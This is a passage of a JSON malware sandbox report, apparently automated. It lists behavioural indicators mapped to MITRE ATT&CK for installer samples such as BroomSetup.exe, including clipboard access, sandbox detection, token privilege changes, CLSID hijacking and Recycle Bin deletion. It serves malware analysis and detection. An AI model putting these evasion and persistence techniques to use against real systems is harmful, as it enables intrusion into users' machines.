{\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"BroomSetup.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: BroomSetup.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"672459832,3032,3120,,FindNextFileW,kernel32.dll,\"253:49:07.159\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00003572.00000001.84328.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"409454,1704,111,,GetSystemMetrics,user32.dll,\"252:06:59.339\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003572.00000000.82404.00610000.00000004.mdmp\")\n Found reference to API \"GetSystemMetricsForDpi\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004256.00000000.82684.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.00822000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"/password\" (Indicator: \"password\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"BroomSetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinA\" (File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyW\" in file \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00004256.00000000.82684.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.712E1000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\tzres.dll\" (UID: 00000000-00002516)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: InstallSetup9.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$61","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"408935768,1704,3137,,RemoveDirectoryW,kernel32.dll,\"254:26:07.575\",RX=0,PX=0\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00003572.00000002.84706.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"LsaAddAccountRights\" (Indicator: \"LsaAddAccountRights\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"GetLengthSid\" (Indicator: \"GetLengthSid\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"CopySid\" (Indicator: \"CopySid\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp\n 00000000-00003572.00000002.84706.00610000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"InstallSetup9.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" opened \"\\Device\\KsecDD\"\n \"InstallSetup9.exe\" opened \"\\Device\\KsecDD\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" opened \"\\Device\\KsecDD\"\n \"BroomSetup.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$64","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"csrss.exe,smss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL 